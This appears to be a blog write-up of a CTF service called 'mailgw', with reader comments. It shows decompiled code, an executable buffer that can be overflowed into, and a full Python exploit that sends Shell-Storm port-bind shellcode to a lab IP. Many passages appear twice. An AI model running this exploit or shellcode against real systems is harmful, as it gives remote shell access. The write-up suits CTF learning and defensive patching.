It was best CTF, which I ever played. Thanks to organisers very much. I'm in TU Berlin write know and I played with ENOFLAG team.
In this topic I will describe mailgw service.
Lets analyse it with IDA. Analysis of server application should starts from accept function.
As you can see. Child logic provides in manage_tcp_client function.
There is a switch with following values:
n - create account;
q - quit;
m - message;
r - read;
+ - create recipient;
- - create recipient;
l - list recipients;
s - send message.
Main attention attract the '+' block.
There is memory allocation and
7 means EXEC+WRITE+READ. What I've done first, is patch this value to 3.
Next interesting place is filling protected buffer with code.
This buffer can be dissembled.
As you can see from this peace of code, that the no limits for adding values in s2 buffer. And also there is a possibility to write over own code to s2+260. But first of all we need to find a place where this buffer called. Note, that buffer size if 284. Last values are list entry's. Also, note, that, for adding and deleting recipients, necessary to add + in the first place and | as last symbol.
Lets move to the '-' handler.
As you can see.There is a call s2 + 261 in '-' handler, is the recipients exist in list.
So. What's only needed is to put shellcode, as a recipent, to the buffer and then delete this reciepent. The one problem was to through away from strcmp function. For such purpose add 00 value as a first value.
Then put shellcode and at the offset 261 put relative jmp to 260 bytes back. "\xe9\xf7\xfe\xff\xff".
In my example I take Linux/x86 - forking portbind shellcode - port=0xb0ef(45295) - 200 bytes from Shell-Storm
In this topic I will describe mailgw service.
Lets analyse it with IDA. Analysis of server application should starts from accept function.
while ( 1 )
{
v23 = 16;
v24 = accept(v25, (struct sockaddr *)&v28, (socklen_t *)&v23);
if ( v24 < 0 )
{
v13 = __errno_location();
v14 = strerror(*v13);
fprintf(stderr, "ERROR: accept on socket failed: %s\n", v14);
result = 1;
goto LABEL_34;
}
v19 = fork();
if ( v19 < 0 )
{
v15 = __errno_location();
v16 = strerror(*v15);
fprintf(stderr, "ERROR: fork failed: %s\n", v16);
result = 1;
goto LABEL_34;
}
if ( !v19 )
break;
close(v24);
}
dup2(v24, 0);
dup2(v24, 1);
result = manage_tcp_client();
}
{
v23 = 16;
v24 = accept(v25, (struct sockaddr *)&v28, (socklen_t *)&v23);
if ( v24 < 0 )
{
v13 = __errno_location();
v14 = strerror(*v13);
fprintf(stderr, "ERROR: accept on socket failed: %s\n", v14);
result = 1;
goto LABEL_34;
}
v19 = fork();
if ( v19 < 0 )
{
v15 = __errno_location();
v16 = strerror(*v15);
fprintf(stderr, "ERROR: fork failed: %s\n", v16);
result = 1;
goto LABEL_34;
}
if ( !v19 )
break;
close(v24);
}
dup2(v24, 0);
dup2(v24, 1);
result = manage_tcp_client();
}
As you can see. Child logic provides in manage_tcp_client function.
There is a switch with following values:
n - create account;
q - quit;
m - message;
r - read;
+ - create recipient;
- - create recipient;
l - list recipients;
s - send message.
Main attention attract the '+' block.
There is memory allocation and
mprotect((void *)(-v12 & (unsigned int)s2), ((unsigned int)&s2[v12 + 283] & -v12) - (_DWORD)addr, 7);
7 means EXEC+WRITE+READ. What I've done first, is patch this value to 3.
Next interesting place is filling protected buffer with code.
v15 = s2 + 260;
i = 0;
s2[260] = -52;
++i;
*(_DWORD *)&v15[i] = 0x82474FFu;
i += 4;
*(_DWORD *)&v15[i] = 0x82454FFu;
i += 4;
*(_DWORD *)&v15[i] = 0xC304C483u;
i = 0;
while ( 2 )
{
if ( read(0, &ptr, 1u) )
{
s2[i] = ptr;
if ( ptr != 124 )
{
++i;
continue;
}
s2[i] = 0;
}
break;
}
i = 0;
s2[260] = -52;
++i;
*(_DWORD *)&v15[i] = 0x82474FFu;
i += 4;
*(_DWORD *)&v15[i] = 0x82454FFu;
i += 4;
*(_DWORD *)&v15[i] = 0xC304C483u;
i = 0;
while ( 2 )
{
if ( read(0, &ptr, 1u) )
{
s2[i] = ptr;
if ( ptr != 124 )
{
++i;
continue;
}
s2[i] = 0;
}
break;
}
This buffer can be dissembled.
push dword ptr [esp+0x8]
call dword ptr [esp+0x8]
add esp, 0x4
ret
call dword ptr [esp+0x8]
add esp, 0x4
ret
As you can see from this peace of code, that the no limits for adding values in s2 buffer. And also there is a possibility to write over own code to s2+260. But first of all we need to find a place where this buffer called. Note, that buffer size if 284. Last values are list entry's. Also, note, that, for adding and deleting recipients, necessary to add + in the first place and | as last symbol.
Lets move to the '-' handler.
for ( s2 = *(char **)&recipients[276]; s2 != recipients; s2 = (char *)*((_DWORD *)s2 + 69) )
{
if ( !strcmp(s1, s2) )
{
((void (__cdecl *)(_DWORD, char *))(s2 + 261))(*((_DWORD *)s2 + 64), s2);
*(_DWORD *)(*((_DWORD *)s2 + 69) + 280) = *((_DWORD *)s2 + 70);
*(_DWORD *)(*((_DWORD *)s2 + 70) + 276) = *((_DWORD *)s2 + 69);
if ( debug )
fprintf(stderr, "Recipient %s removed\n", s1);
free(s2);
s2 = 0;
break;
}
}
{
if ( !strcmp(s1, s2) )
{
((void (__cdecl *)(_DWORD, char *))(s2 + 261))(*((_DWORD *)s2 + 64), s2);
*(_DWORD *)(*((_DWORD *)s2 + 69) + 280) = *((_DWORD *)s2 + 70);
*(_DWORD *)(*((_DWORD *)s2 + 70) + 276) = *((_DWORD *)s2 + 69);
if ( debug )
fprintf(stderr, "Recipient %s removed\n", s1);
free(s2);
s2 = 0;
break;
}
}
As you can see.There is a call s2 + 261 in '-' handler, is the recipients exist in list.
So. What's only needed is to put shellcode, as a recipent, to the buffer and then delete this reciepent. The one problem was to through away from strcmp function. For such purpose add 00 value as a first value.
Then put shellcode and at the offset 261 put relative jmp to 260 bytes back. "\xe9\xf7\xfe\xff\xff".
In my example I take Linux/x86 - forking portbind shellcode - port=0xb0ef(45295) - 200 bytes from Shell-Storm
import socket
import sys
HOST, PORT = "192.168.1.3", 9119
shell = "\x00"
shell +="\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
shell +="\x06\x51\xb1\x01\x51\xb1\x02\x51"
shell +="\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
shell +="\x89\xc1\x31\xc0\x31\xdb\x50\x50"
shell +="\x50\x66\x68\xb0\xef\xb3\x02\x66"
shell +="\x53\x89\xe2\xb3\x10\x53\xb3\x02"
shell +="\x52\x51\x89\xca\x89\xe1\xb0\x66"
shell +="\xcd\x80\x31\xdb\x39\xc3\x74\x05"
shell +="\x31\xc0\x40\xcd\x80\x31\xc0\x50"
shell +="\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
shell +="\x80\x89\xd7\x31\xc0\x31\xdb\x31"
shell +="\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
shell +="\x80\x31\xc0\x31\xdb\x50\x50\x57"
shell +="\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
shell +="\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
shell +="\xcd\x80\x39\xc3\x75\x40\x31\xc0"
shell +="\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
shell +="\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
shell +="\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
shell +="\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
shell +="\x50\x68\x2f\x2f\x73\x68\x68\x2f"
shell +="\x62\x69\x6e\x89\xe3\x8b\x54\x24"
shell +="\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
shell +="\x80\x31\xc0\x40\xcd\x80\x31\xc0"
shell +="\x89\xf3\xb0\x06\xcd\x80\xeb\x99"
shell +="\x90" * (261 - len(shell))
print len(shell)
shell +="\xe9\xf7\xfe\xff\xff"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
str1 = '+'+ shell + "|\n"
print str1
sock.send(str1)
str2 = '-'+ shell + "|\n"
sock.send(str2)
sock.close()
import sys
HOST, PORT = "192.168.1.3", 9119
shell = "\x00"
shell +="\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
shell +="\x06\x51\xb1\x01\x51\xb1\x02\x51"
shell +="\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
shell +="\x89\xc1\x31\xc0\x31\xdb\x50\x50"
shell +="\x50\x66\x68\xb0\xef\xb3\x02\x66"
shell +="\x53\x89\xe2\xb3\x10\x53\xb3\x02"
shell +="\x52\x51\x89\xca\x89\xe1\xb0\x66"
shell +="\xcd\x80\x31\xdb\x39\xc3\x74\x05"
shell +="\x31\xc0\x40\xcd\x80\x31\xc0\x50"
shell +="\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
shell +="\x80\x89\xd7\x31\xc0\x31\xdb\x31"
shell +="\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
shell +="\x80\x31\xc0\x31\xdb\x50\x50\x57"
shell +="\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
shell +="\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
shell +="\xcd\x80\x39\xc3\x75\x40\x31\xc0"
shell +="\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
shell +="\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
shell +="\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
shell +="\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
shell +="\x50\x68\x2f\x2f\x73\x68\x68\x2f"
shell +="\x62\x69\x6e\x89\xe3\x8b\x54\x24"
shell +="\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
shell +="\x80\x31\xc0\x40\xcd\x80\x31\xc0"
shell +="\x89\xf3\xb0\x06\xcd\x80\xeb\x99"
shell +="\x90" * (261 - len(shell))
print len(shell)
shell +="\xe9\xf7\xfe\xff\xff"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
str1 = '+'+ shell + "|\n"
print str1
sock.send(str1)
str2 = '-'+ shell + "|\n"
sock.send(str2)
sock.close()
GJ! Tnx for the write-up. I'm going to do the same for full understanding.
ReplyDeleteChanging the prot to 3 does not fully work. The child dies because the area cannot be read. Just changing offsets 0x0804956F to 0x08049597 to NOPs does the trick however.
ReplyDeleteAnd just for clarification (I had to wrap my head around that one as well..):
ReplyDelete"\xe9\xf7\xfe\xff\xff"
Is a relative jump 265b back. However, the jump target is calculated by taking the offset of the next instruction and then adding the param. Thus, it jumps back 265b from the next instruction, which equals 260b back from where we are.
@Ben. Yes, I do it through the game, but I forgot to write about it.
ReplyDeleteIt's enough to NOP only this instruction.
.text:08049596 call ecx
Thanks.